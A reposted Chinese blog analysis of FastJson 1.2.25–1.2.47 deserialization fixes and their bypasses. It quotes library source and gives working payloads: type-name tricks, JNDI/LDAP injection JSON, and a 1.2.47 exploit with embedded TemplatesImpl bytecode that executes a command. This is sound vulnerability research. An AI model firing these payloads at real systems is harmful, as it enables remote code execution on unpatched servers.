FastJson 1.2.25~1.2.47 修复及绕过

admin 2023年3月2日16:53:46评论171 views字数 14034阅读46分46秒阅读模式

FastJson 1.2.25~1.2.47 修复及绕过

前言

FastJson的后续版本修复以及绕过 1.2.25=< version <=1.2.47

漏洞产生原因

总结一下1.2.24的漏洞产生原因,type字段的特性会加载任意类(反序列化入口点),反射调用特定的setter和getter(反序列化链入口),进而从这些链子比如TemplatesImpl走到加载字节码(反序列化的触发payload)

1.2.25-1.2.41

修复

对比两个jar包的不同,在DefaultJSONParser,去掉了TypeUtils.loadClass 直接加载任意类,引入了checkAutoType()

FastJson 1.2.25~1.2.47 修复及绕过

checkAutoType是1.2.25版本中新增的一个白名单+黑名单机制。同时引入一个配置参数 AutoTypeSupport 参考官方wiki

默认 AutoTypeSupport = False(开启白名单)

想要修改则在代码中修改

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //关闭白名单机制,基于内置黑名单实现安全
  • 开启白名单的情况即AutoTypeSupport = False

//传入的expectClass = nullpublic Class<?> checkAutoType(String typeName, Class<?> expectClass) {        if (typeName == null) {            return null;        }
final String className = typeName.replace('$', '.'); /*AutoTypeSupport = True情况,一会分析*/
Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null) { clazz = deserializers.findClass(typeName); //从一些常见类中寻找,返回null } //这种情况为:启用白名单 if (!autoTypeSupport) { for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; //获取黑名单 if (className.startsWith(deny)) { //匹配黑名单,直接报错退出 throw new JSONException("autoType is not support. " + typeName); } } for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; //获取白名单 if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); //匹配白名单后进行loadclass
if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } /*一些代码*/
if (!autoTypeSupport) { //没有匹配到黑、白名单 抛出错误 throw new JSONException("autoType is not support. " + typeName); }
return clazz; }

可见AutoTypeSupport = False时需要 同时 先不匹配黑名单、再匹配白名单,才可以进行loadClass,不然最后也会抛出错误

内置默认黑名单有21个,第二个com.sun.导致了TemplateImpl链子的不能正常使用,白名单也为空,所以根本无法利用

FastJson 1.2.25~1.2.47 修复及绕过

  • 关闭白名单的情况即AutoTypeSupport = True

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {        if (typeName == null) {            return null;        }
final String className = typeName.replace('$', '.'); // if (autoTypeSupport || expectClass != null) { for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; //获取白名单,匹配到白名单,直接loadClass if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } }
for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; //获取黑名单,匹配到直接退出 if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } }
/*依旧是从map中寻找常见类,不影响*/
if (autoTypeSupport || expectClass != null) { //重点,由于autoTypeSupport为开启,对于上面不匹配白、黑名单的,这里直接进行loadClass clazz = TypeUtils.loadClass(typeName, defaultClassLoader); }
if (clazz != null) { ////对于加载的类进行危险性判断,判断加载的clazz是否继承自Classloader与DataSource if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver ) { throw new JSONException("autoType is not support. " + typeName); }
if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } else { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } } } //返回load之后的class return clazz; }

这里就能感觉到存在一些问题了,最后对于不满足黑白名单判断的要进行loadClass,绕过的方式也就存在于loadClass

绕过

利用条件:开启AutoTypeSupport,跟一下 TypeUtils.loadClass

public static Class<?> loadClass(String className, ClassLoader classLoader) {        if (className == null || className.length() == 0) {            return null;        }
Class<?> clazz = mappings.get(className);
if (clazz != null) { return clazz; }
//className 以'['开头 if (className.charAt(0) == '[') { Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } //className 以'L'开头 以';'结尾,去掉开头结尾,完成bypass if (className.startsWith("L") && className.endsWith(";")) { String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); } ...

呼之欲出, 只需要 开头加上 L , 结尾加上 ; ,但是其实 [ 是可以绕过的

所以poc

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.serializer.SerializerFeature;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.util.HashMap;
public class fastjsonDemo { public static void main(String[] args) {
String payload = "{"@type":"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;","_bytecodes":["yv66vgAAADQAJgo..."],'_name':'c.c','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}"; //ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //关闭白名单机制,基于内置黑名单实现安全 JSON.parseObject(payload, Feature.SupportNonPublicField); }}

JNDI注入poc

{    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",    "dataSourceName":"ldap://127.0.0.1:23457/Command8",    "autoCommit":true}

FastJson 1.2.25~1.2.47 修复及绕过

1.2.42

修复

两点

  1. 修改明文黑名单为黑名单的hash

  2. 对于传入的类名,删除开头L和结尾的;

用的hash确实能混淆我这种小白

FastJson 1.2.25~1.2.47 修复及绕过

跟进 checkAutoType 去看看,对第一个字符和最后一个字符计算hash,然后判断是L; 删掉

FastJson 1.2.25~1.2.47 修复及绕过

绕过

利用条件:开启AutoTypeSupport

双写L; 就行了

1.2.43

修复

两层判断,如果双写了L; 直接抛错退出

FastJson 1.2.25~1.2.47 修复及绕过

绕过

然后目光就转向了之前的 ‘[‘ 目前我只找到了利用方式,至于细节代码部分,能力有限,挖个坑

利用条件: 需要开启autotype

poc利用了 [ 和 [{ ,同样的可以绕过以上版本

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.serializer.SerializerFeature;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.util.HashMap;
public class fastjsonDemo { public static void main(String[] args) {
String payload = "{"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;"[{,"_bytecodes":["yv66vgAAADQAJgo..."],'_name':'c.c','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}"; //ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //关闭白名单机制,基于内置黑名单实现安全 JSON.parseObject(payload, Feature.SupportNonPublicField); }}

在1.2.44版本修复了[ 绕过黑名单的问题,做法是,以 [ 开头直接抛出异常

1.2.45

这个版本爆了一个绕过黑名单,利用条件: mybatis的3.x版本且<3.5.0、需要开启autotype

poc

{    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",    "properties":{        "data_source":"ldap://127.0.0.1:23457/Command8"    }}

1.2.47 - 通杀

利用条件

1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport1.2.33 <= fastjson <= 1.2.47

回到 checkAutoType 这里

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {        //1.typeName为空情况
//2.长度判断
//3.替换 $ 为 . Class<?> clazz = null;
//4.hash方式对L|;|[ 进行判断 //5.autoTypeSupport为true(白名单关闭情况下),对比 acceptHashCodes 加载白名单,匹配到直接return if (autoTypeSupport || expectClass != null) { long hash = h3; for (int i = 3; i < className.length(); ++i) { hash ^= className.charAt(i); hash *= PRIME; if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); if (clazz != null) { return clazz; } } //对比denyHashCodes匹配到黑名单 //且 从TypeUtils.mappings中找不到这个类,抛出错误 if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName); } } } //6.尝试从TypeUtils.mappings中获取这个类名的类 if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName); } //7.尝试在 deserializers 中获取这个类 if (clazz == null) { clazz = deserializers.findClass(typeName); } //8.如果通过上面两步,获取到了clazz,直接走到return clazz; if (clazz != null) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); }
return clazz; } //9.autoTypeSupport为false(默认白名单开启的情况) if (!autoTypeSupport) { long hash = h3; for (int i = 3; i < className.length(); ++i) { char c = className.charAt(i); hash ^= c; hash *= PRIME; //匹配黑名单直接退出 if (Arrays.binarySearch(denyHashCodes, hash) >= 0) { throw new JSONException("autoType is not support. " + typeName); } //白名单默认为空,走不到loadClass if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { if (clazz == null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } //走不到这里 if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); }
return clazz; } } } //10.通过上面不匹配黑名单,白名单为空后,进行loadClass if (clazz == null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); }
/*其他一些代码*/
return clazz; }
  • 白名单关闭时,匹配白名单后直接加载,抛出异常时需要满足两个条件1.黑名单 2.TypeUtils.getClassFromMapping找不到该类

  • 白名单开启时,首先检查黑名单,我们这里直接被退出,无法利用

  • 看了上面两种情况后,把目光转向第6 .7 .8步,如果从6.7步直接找到了我们需要的类,直接就return,不就可以绕过下面的黑名单,所以现在需要跟进 TypeUtils.getClassFromMapping 中和 deserializers.loadClass 看看到底进行了什么操作

deserializers.findClass

com.alibaba.fastjson.parser.ParserConfig private final IdentityHashMap<Type, ObjectDeserializer> deserializers = new IdentityHashMap<Type, ObjectDeserializer>()

可以看到deserializers为一个hashmap,因为当前操作为findClass,取数据操作,搜索一下哪些函数进行了赋值,发现有三个

  • initDeserializers()

  • getDeserializer()

  • putDeserializer()

initDeserializers():在构造函数中调用,传入一些没有危害的类

FastJson 1.2.25~1.2.47 修复及绕过

getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。

FastJson 1.2.25~1.2.47 修复及绕过

putDeserializer():被前两个函数调用,我们无法控制入参

FastJson 1.2.25~1.2.47 修复及绕过

所以deserializers 的值不可控,都是写死的,没有利用可能

这个deserializers在checkAutoType方法中存在的意义应该是直接放行一些常用的类,来提升解析速度

TypeUtils.mappings

跟进是一个从mappings的get操作,mappings为 ConcurrentMap 对象

com.alibaba.fastjson.util.TypeUtils private static ConcurrentMap<String, Class<?>> mappings = new ConcurrentHashMap<String, Class<?>>(160.75f, 1)

FastJson 1.2.25~1.2.47 修复及绕过

老样子看看赋值的函数,搜索mappings.put,发现存在两个函数

  • addBaseClassMappings()

  • loadClass()

addBaseClassMappings,写死

FastJson 1.2.25~1.2.47 修复及绕过

而且调用处,一处在static静态代码块

FastJson 1.2.25~1.2.47 修复及绕过

一处 clearClassMapping()

FastJson 1.2.25~1.2.47 修复及绕过

完全不可控,转向 loadClass(),这个函数文章一开始跟过,就是利用L;绕过,这次完整分析一下

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {    //判断是否为空    if(className == null || className.length() == 0){        return null;    }    //尝试从mappings中获取    Class<?> clazz = mappings.get(className);    //不为空直接返回    if(clazz != null){        return clazz;    }    //判断是否以[开头    if(className.charAt(0) == '['){        Class<?> componentType = loadClass(className.substring(1), classLoader);        return Array.newInstance(componentType, 0).getClass();    }    //判断是否以L开头、;结尾    if(className.startsWith("L") && className.endsWith(";")){        String newClassName = className.substring(1, className.length() - 1);        return loadClass(newClassName, classLoader);    }    try{        //如果传入的classLoader不为空        if(classLoader != null){            //调用传入的类加载器进行加载            clazz = classLoader.loadClass(className);            //判断传入的cache            if (cache) {                //为True时,将className传入mappings(这里就存在利用点了)                mappings.put(className, clazz);            }            return clazz;        }    } catch(Throwable e){        e.printStackTrace();        // skip    }    try{        //这里就比较相似了        //如果上面失败,或没有指定 ClassLoader ,则使用当前线程的 contextClassLoader 来加载类        //也需要 cache 为 true 才能写入 mappings 中        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();        if(contextClassLoader != null && contextClassLoader != classLoader){            clazz = contextClassLoader.loadClass(className);            if (cache) {                mappings.put(className, clazz);            }            return clazz;        }    } catch(Throwable e){        // skip    }    try{        //依旧失败利用Class.forName,加载类,放入到mappings        clazz = Class.forName(className);        mappings.put(className, clazz);        return clazz;    } catch(Throwable e){        // skip    }    return clazz;}

也就是说如果可控loadClass()的参数,就很有可能将类名传入到mappings,就可以在黑名单之前return

搜一下Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) 用法

跟一下TypeUtils 的 loadClass

FastJson 1.2.25~1.2.47 修复及绕过

就在上方Class<?> loadClass(String className, ClassLoader classLoader) 添加了cache参数为true

FastJson 1.2.25~1.2.47 修复及绕过

搜一下两个参数的loadClass在何处调用

FastJson 1.2.25~1.2.47 修复及绕过

这里就关注

com.alibaba.fastjson.serializer.MiscCodec#deserialze 摘取部分代码

public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {        JSONLexer lexer = parser.lexer;
//4. clazz类型等于InetSocketAddress.class的处理。 //我们需要的clazz必须为Class.class,不进入 if (clazz == InetSocketAddress.class) { ... }
Object objVal; //3. 下面这段赋值objVal这个值 //此处这个大的if对于parser.resolveStatus这个值进行了判断,我们在稍后进行分析这个是啥意思 //当parser.resolveStatus的值为 TypeNameRedirect if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) { parser.resolveStatus = DefaultJSONParser.NONE; parser.accept(JSONToken.COMMA); //lexer为json串的下一处解析点的相关数据 //如果下一处的类型为string if (lexer.token() == JSONToken.LITERAL_STRING) { //判断解析的下一处的值是否为val,如果不是val,报错退出 if (!"val".equals(lexer.stringVal())) { throw new JSONException("syntax error"); } //移动lexer到下一个解析点 //举例:"val":(移动到此处->)"xxx" lexer.nextToken(); } else { throw new JSONException("syntax error"); }
parser.accept(JSONToken.COLON); //此处获取下一个解析点的值"xxx"赋值到objVal objVal = parser.parse();
parser.accept(JSONToken.RBRACE); } else { //当parser.resolveStatus的值不为TypeNameRedirect //直接解析下一个解析点到objVal objVal = parser.parse(); }
String strVal; //2. 可以看到strVal是由objVal赋值,继续往上看 if (objVal == null) { strVal = null; } else if (objVal instanceof String) { strVal = (String) objVal; } else { //不必进入的分支 }
if (strVal == null || strVal.length() == 0) { return null; }
//省略诸多对于clazz类型判定的不同分支
//1. 可以得知,我们的clazz必须为Class.class类型 if (clazz == Class.class) { //strVal是我们想要可控的一个关键的值,我们需要它是一个恶意类名 return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); }

整个逻辑大概就是 strVal->objVal->parser.parse() 也就是说json的格式为

{"@type":"java.lang.Class","val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"}

流程跟进

JSON.parseObject() 调用 DefaultJSONParser 对 JSON 进行解析。

FastJson 1.2.25~1.2.47 修复及绕过

进入checkAutoType 进行加载类合法性,由于 deserializers 在初始化时将 Class.class 进行了加载,因此使用 findClass 可以找到,越过了后面 AutoTypeSupport 的检查。

FastJson 1.2.25~1.2.47 修复及绕过

回到 DefaultJSONParser.parseObject() 设置 resolveStatus 为 TypeNameRedirect

FastJson 1.2.25~1.2.47 修复及绕过

DefaultJSONParser.parseObject() 根据不同的 class 类型分配 deserialzer,Class 类型由 MiscCodec.deserialze() 处理。

FastJson 1.2.25~1.2.47 修复及绕过

因为上面的this.set操作,进入if

FastJson 1.2.25~1.2.47 修复及绕过

成功解析赋值给objVal

FastJson 1.2.25~1.2.47 修复及绕过

继续赋值给strVal

FastJson 1.2.25~1.2.47 修复及绕过

成功走到loadClass,在这里进行了缓存,写入到mappings

FastJson 1.2.25~1.2.47 修复及绕过

进入 设置cache为True

FastJson 1.2.25~1.2.47 修复及绕过

写入缓存mappings中

FastJson 1.2.25~1.2.47 修复及绕过

一路返回,接下来轮到恶意类了,进入checkAutoType 检查

FastJson 1.2.25~1.2.47 修复及绕过

直接功获取到恶意类

FastJson 1.2.25~1.2.47 修复及绕过

然后就是发序列化触发了

FastJson 1.2.25~1.2.47 修复及绕过

exp

{"a":{"@type": "java.lang.Class","val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"}, "b":{"@type""com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhDAAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAAABAABABQAAQAVAAAAAgAW"],'_name':'c.c','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}}



JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)

Fastjson 反序列化漏洞 · 攻击Java Web应用

原文始发于微信公众号(Arr3stY0u):FastJson 1.2.25~1.2.47 修复及绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月2日16:53:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FastJson 1.2.25~1.2.47 修复及绕过https://cn-sec.com/archives/1583414.html

发表评论

匿名网友 填写信息